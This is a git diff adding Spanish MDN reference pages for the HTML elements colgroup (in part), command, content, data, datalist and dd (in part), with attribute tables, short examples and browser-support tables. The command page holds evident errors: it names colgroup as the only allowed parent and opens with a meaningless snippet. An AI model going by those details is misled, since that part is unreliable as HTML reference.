+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-span-COLGROUP"><span style="color: green;">span </span></a></td>
+   <td>Indica el número de columnas que se agrupan.</td>
+   <td>Un número entero mayor que cero. Por defecto: 1.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-width-COLGROUP"><span style="color: green;">width </span></a></td>
+   <td>Indica la anchura de las columnas del grupo.</td>
+   <td>Una longitud expresada en píxeles, porcentaje o relativa. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-align-TD"><span style="color: green;">align </span></a></td>
+   <td>Indica la alineación horizontal.</td>
+   <td>Uno de los siguientes: <code>'left' 'center' 'right' 'justify' y 'char'</code>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-char"><span style="color: green;">char </span></a></td>
+   <td>Carácter que se usará como punto de alineación.</td>
+   <td>Un carácter. Por defecto: el carácter de punto decimal (puede variar según el idioma). Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-charoff"><span style="color: green;">charoff </span></a></td>
+   <td>Indica la distancia entre el borde y el carácter de alineación.</td>
+   <td>Una longitud expresada en píxeles o porcentaje. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-valign"><span style="color: green;">valign </span></a></td>
+   <td>Indica la alineación vertical de los contenidos de las celdas.</td>
+   <td>Uno de los siguientes: <code>'top' 'middle' 'bottom' y 'baseline'</code>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="bla_bla" name="bla_bla">bla bla</h4>
+
+<pre class="eval"><span class="nowiki">
+
+ </span>
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#edef-COLGROUP."><strong>colgroup</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-colgroup">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/command/index.html b/files/es/web/html/elemento/command/index.html
new file mode 100644
index 0000000000..eaaeb3118c
--- /dev/null
+++ b/files/es/web/html/elemento/command/index.html
@@ -0,0 +1,152 @@
+---
+title: <command>
+slug: Web/HTML/Elemento/command
+tags:
+  - HTML
+  - Obsoleto
+translation_of: Web/HTML/Element/command
+---
+<div>{{obsolete_header()}}</div>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Nota: </strong>El elemento <code>command</code> ha sido removido de </span>{{Gecko("24.0")}}  en favor del elemento {{HTMLElement("menuitem")}}  . Firefox nunca ha soportado este elemento <code>command , </code>y la implementación existente de la interface DOM  {{domxref("HTMLCommandElement")}} ha sido removida de  <a href="/en-US/docs/Site_Compatibility_for_Firefox_24">Firefox 24</a>.</p>
+</div>
+
+<h2 id="Resumen_de_el_catalogo">Resumen de el catalogo</h2>
+
+<pre>&lt;command function="About live stream"&gt;</pre>
+
+<h3 class="brush: html" id="sect1"></h3>
+
+<h4 id="El_elemento_command_representa_un_comando_que_el_usuario_puede_invocar_.">El elemento <code>command </code>representa un comando que el usuario puede invocar .</h4>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Contenido dinámico , contenido estático de texto, contenido de metadata .</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno , es un {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>La etiqueta de inicio es obligatoria , pero como es un elemento vacío , el uso de una etiqueta de cierre está prohibido . </td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos </th>
+   <td>Solamente {{HTMLElement("colgroup")}} ,aunque puede ser definido implícitamente ya que su etiqueta de inicio no es obligatoria .El  {{HTMLElement("colgroup")}} no debe de tener un {{HTMLElement("span")}} como hijo .</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM </th>
+   <td>{{domxref("HTMLCommandElement")}} {{ obsolete_inline(24) }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</p>
+
+<ul>
+ <li><code>command</code> o <code>empty</code> el cual es el estado por default e indica que este es un comando normal.</li>
+ <li><code>checkbox</code> indica que el comando puede ser alternado usando un checkbox.</li>
+ <li><code>radio</code> indica que el comando puede ser alternado usando un radiobutton.</li>
+</ul>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>Indica si el comando es seleccionado . Debe de ser omitido al menos que el atributo <code>type </code>sea <code>checkbox </code>o <code>radio.</code></dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Indica que el comando no está disponible .</dd>
+ <dt>{{htmlattrdef("icon")}}</dt>
+ <dd>Proporciona una imagen que representa el comando.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>El nombre del comando como se muestra al usuario .</dd>
+ <dt>{{htmlattrdef("radiogroup")}}</dt>
+ <dd>Este atributo proporciona el nombre del grupo de comandos , con un atributo  <code>type </code>de<code> tipo radio ,</code>que será alternado cuando el comando en sí mismo sea alternado . Este atributo debe de ser omitido al menos que el atributo <code>type </code>sea del tipo <code>radio .</code></dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Este atributo indica el tipo de comando . Este puede ser uno de los siguientes tres valores :</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;command type="command" label="Save" icon="icons/save.png" onclick="save()"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'commands.html', '&lt;command&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '&lt;command&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/es/web/html/elemento/content/index.html b/files/es/web/html/elemento/content/index.html
new file mode 100644
index 0000000000..0e380c1cd9
--- /dev/null
+++ b/files/es/web/html/elemento/content/index.html
@@ -0,0 +1,167 @@
+---
+title: <content>
+slug: Web/HTML/Elemento/content
+tags:
+  - Deprecado
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+  - Web Components
+translation_of: Web/HTML/Element/content
+---
+<p>{{Deprecated_header}}</p>
+
+<p>El elemento <a href="/en-US/docs/Web/HTML">HTML</a> <code>&lt;content&gt; es usado dentro de un </code> <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a> como un {{glossary("insertion point")}} . No está pensado para ser usado en HTML ordinario . Es usado con <a href="/en-US/docs/Web/Web_Components">Web Components</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Aunque está presente en un draft inicial de las especificaciones e implementado en varios exploradores , este elemento ha sido removido en versiones posteriores a la especificación .</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido" title="HTML/Content_categories">Categorías de contenido</a></th>
+   <td>Modelo de contenido transpatente</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Contenido dinámico</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Any element that accepts flow content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfase DOM</th>
+   <td>{{domxref("HTMLContentElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales </a>.</p>
+
+<dl>
+ <dt>select</dt>
+ <dd>Una lista de selectores separada por comas . Estos tienen la misma sintaxis que los selectores de CSS . Seleccionan el contenido a insertar en lugar del elemento &lt;content&gt; .</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Aquí hay un ejemplo simple del uso del elemento &lt;content&gt; . Es un archivo HTML con todo lo necesario en el .</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Para que este código funcione , el explorador en el que se muestre debe de soportar Web Components . Ver <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a> .</p>
+</div>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;&lt;/head&gt;
+  &lt;body&gt;
+  &lt;!-- The original content accessed by &lt;content&gt; --&gt;
+  &lt;div&gt;
+    &lt;h4&gt;My Content Heading&lt;/h4&gt;
+    &lt;p&gt;My content text&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;script&gt;
+  // Get the &lt;div&gt; above.
+  var myContent = document.querySelector('div');
+  // Create a shadow DOM on the &lt;div&gt;
+  var shadowroot = myContent.createShadowRoot();
+  // Insert into the shadow DOM a new heading and
+  // part of the original content: the &lt;p&gt; tag.
+  shadowroot.innerHTML =
+   '&lt;h2&gt;Inserted Heading&lt;/h2&gt; &lt;content select="p"&gt;&lt;/content&gt;';
+  &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Si muestras esto en un explorador web , debe de verse como lo siguiente .</p>
+
+<p><img alt="content example" src="https://mdn.mozillademos.org/files/10077/content-example.png" style="height: 383px; width: 716px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', "#the-content-element", "content")}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Catacterística</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico </td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si el Shadow DOM no está habilidado en Firefox , los elementos de &lt;content&gt; se comportarán como  {{domxref("HTMLUnknownElement")}} . Shadow DOM fue implementado por primera vez en Firefox33 y está detras de una preferencia , <code>dom.webcomponents.enabled</code>, el cual está deshabilitado por default .</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components">Web Components</a></li>
+ <li>{{HTMLElement("shadow")}}, {{HTMLElement("template")}}, {{HTMLElement("element")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/data/index.html b/files/es/web/html/elemento/data/index.html
new file mode 100644
index 0000000000..8f202fa334
--- /dev/null
+++ b/files/es/web/html/elemento/data/index.html
@@ -0,0 +1,141 @@
+---
+title: <data>
+slug: Web/HTML/Elemento/data
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/data
+---
+<h2 id="Resúmen">Resúmen</h2>
+
+<p>El <strong>Elemento HTML <code>&lt;data&gt;</code></strong> vincula un contenido dado con una traducción legible por una máquina. Si el contenido está relacionado con <code>time-</code> o <code>date-</code>, debe usarse el elemento {{HTMLElement("time")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorías de contenido</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos permitidos</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">interfaz DOM</th>
+   <td>{{domxref("HTMLDataElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">Atributos globales </a></p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>This attribute specifies the machine-readable translation of the content of the element.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo muestra nombres de productos pero también asocia a cada uno con su código UPC.</p>
+
+<pre class="brush: html">&lt;p&gt;New Products&lt;/p&gt;
+&lt;ul&gt;
+ &lt;li&gt;&lt;data value="3967381398"&gt;Mini Ketchup&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="3967381399"&gt;Jumbo Ketchup&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="3967381400"&gt;Mega Jumbo Ketchup&lt;/data&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}} {{bug("839371")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The HTML {{HTMLElement("time")}} element.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/datalist/index.html b/files/es/web/html/elemento/datalist/index.html
new file mode 100644
index 0000000000..40049a9734
--- /dev/null
+++ b/files/es/web/html/elemento/datalist/index.html
@@ -0,0 +1,106 @@
+---
+title: datalist
+slug: Web/HTML/Elemento/datalist
+tags:
+  - HTML5
+  - datalist
+translation_of: Web/HTML/Element/datalist
+---
+<p>El <strong>elemento HTML <code>&lt;datalist&gt;</code> </strong>contiene un conjunto de elementos {{HTMLElement("option")}} que representan los valores disponibles para otros controles.</p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub.</span> <span title="">Si desea contribuir al proyecto de ejemplos interactivos, copia https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Contenido de las categorías</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Contenido de flujo</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>O bien <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a> o, cero o más elementos {{HTMLElement("option")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLDataListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento no tiene otros atributos mas que los <a href="/en-US/docs/HTML/Global_attributes">atributos globales</a>, comunes a todos los elementos.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;label&gt;Choose a browser from this list:
+&lt;input list="browsers" name="myBrowser" /&gt;&lt;/label&gt;
+&lt;datalist id="browsers"&gt;
+  &lt;option value="Chrome"&gt;
+  &lt;option value="Firefox"&gt;
+  &lt;option value="Internet Explorer"&gt;
+  &lt;option value="Opera"&gt;
+  &lt;option value="Safari"&gt;
+  &lt;option value="Microsoft Edge"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadoresEdit">Compatibilidad con los distintos navegadores<a class="button section-edit only-icon" href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/option$edit#Compatibilidad_con_los_distintos_navegadores" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite https://github.com/mdn/browser-compat-data y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.datalist")}}</p>
+
+<h2 id="sección_de_relleno">sección de relleno</h2>
+
+<p>Incluya este polyfill para proporcionar soporte para navegadores antiguos y actualmente incompatibles:<br>
+ <a href="https://github.com/mfranzke/datalist-polyfill">datalist-polyfill</a></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li class="last">El elemento {{HTMLElement("input")}}, y más especificamente este atributo {{htmlattrxref("list", "input")}};</li>
+ <li class="last">El elemento {{HTMLElement("option")}}.</li>
+</ul>
+
+<p class="last">{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/dd/index.html b/files/es/web/html/elemento/dd/index.html
new file mode 100644
index 0000000000..3296e7758b
--- /dev/null
+++ b/files/es/web/html/elemento/dd/index.html
@@ -0,0 +1,111 @@
+---
+title: dd
+slug: Web/HTML/Elemento/dd
+tags:
+  - Contenido agrupado HTML
+  - Definición
+  - Detalles
+  - Detalles de descripción
+  - Elemento
+  - HTML
+  - Lista de descripciones
+  - Referencia
+  - Web
+  - dd
+translation_of: Web/HTML/Element/dd
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El <strong>elemento HTML <code>&lt;dd&gt;</code> </strong>provee detalles acerca de o la definición de un término precedente ({{HTMLElement("dt")}}) en una lista de descripciones ({{HTMLElement("dl")}}).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dd.html", "tabbed-standard")}}</div>
+
+<p class="hidden">La fuente para este ejemplo interactivo esta almacenado en un repositorio GitHub. Si desea contribuir al poryecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> y envíe una petición de extracción (pull request).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Ninguna</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido de flujo</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de Tag</th>
+   <td>El tag inicial es requerido. El tag final puede ser omitido si el elemento {{HTMLElement("dd")}} se encuentra inmediatamente seguido por otro elemento <code>&lt;dd&gt;</code>, o si no hay más contenido en el elemento padre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>{{HTMLElement("dl")}} o (en <a href="/es/docs/Glossary/WHATWG">WHATWG</a> HTML) un {{HTMLElement("div")}} que se encuentra dentro de un {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Hermano previo</th>
+   <td>{{HTMLElement("dt")}} u otro elemento {{HTMLElement("dd")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Los atributos de este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("nowrap")}} {{Non-standard_inline}}</dt>
+ <dd>Si el valor de este atributo es definido como <code>yes</code>, el texto de la definición no se encapsulará. El valor por defecto es <code>no</code>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Para un ejemplo, ver <a href="/es/docs/Web/HTML/Elemento/dl#Examples">ejemplos &lt;dl&gt;</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
